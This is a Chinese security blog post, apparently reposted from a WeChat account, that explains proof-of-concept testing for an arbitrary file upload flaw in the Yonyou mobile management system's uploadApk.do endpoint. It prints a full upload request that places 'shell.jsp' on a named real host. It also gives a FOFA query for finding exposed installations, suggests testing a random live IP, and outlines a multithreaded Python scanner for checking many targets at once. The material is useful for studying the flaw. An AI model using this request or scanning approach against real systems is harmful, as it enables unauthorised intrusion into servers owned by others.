poc是啥?
证明某个漏洞的存在性和危害性,重在证明漏洞存在,不利用,如果需要利用则为exp
使用poc复现漏洞
漏洞描述:
用友 移动管理系统 uploadApk.do 接口存在任意文件上传漏洞,攻击者通过漏洞可以获取服务器权限
漏洞影响:
用友移动管理系统
用到的poc:
POST /maportal/appmanager/uploadApk.do?pk_obj= HTTP/1.1Host: mnc.youedata.comCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=AAC37658EE256C5B82F85CCB3F27EE0E.server; JSESSIONID=68D8CD7BD870BF0CCC6FBAA9614D80F0.serverConnection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryvLTG6zlX0gZ8LzO3Content-Length: 198------WebKitFormBoundaryvLTG6zlX0gZ8LzO3Content-Disposition: form-data; name="downloadpath"; filename="shell.jsp"Content-Type: application/mswordhello------WebKitFormBoundaryvLTG6zlX0gZ8LzO3--
使用fofa找特定资产进行poc测试:
fofa语法:app="用友-移动系统管理"
随便找一个ip进行点击访问
进行burp抓包,替换数据包
放包进行上传
访问url验证文件是否上传成功
/maupload/apk/shell.jsp
看到明显上传成功,验证到漏洞存在,但是当目标很多,不可能一个一个的去测试,下面使用python编写自动扫描该链接poc
python实现自动化
使用python编写关键点在哪里?
1.python中如何实现请求该网站?
分为get请求和post请求,此处文件上传使用post提交类型,相关字段为
2.网站链接的处理,当用户随便传入的一个链接与python最后去请求的链接替换poc的链接不一样,这里该如何处理?
提前使用函数进行连接的预处理
3.如何进行判断上传成功,存在的标志是什么?
在进行抓包修改poc进行查看返回码的时候可以观察到它返回的状态码为200,并且相关字段status:2
4.因为请求传入参数可以为单个链接或者为多个连接一个文件,所以加上多线程以及相关的文件处理
测试效果:
相关完整代码以及本次poc利用到python编写完整讲解视频请关注微信公众号扫码添加获取
原文始发于微信公众号(菜菜sec):一文学会使用python编写poc实现自动批量扫描
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论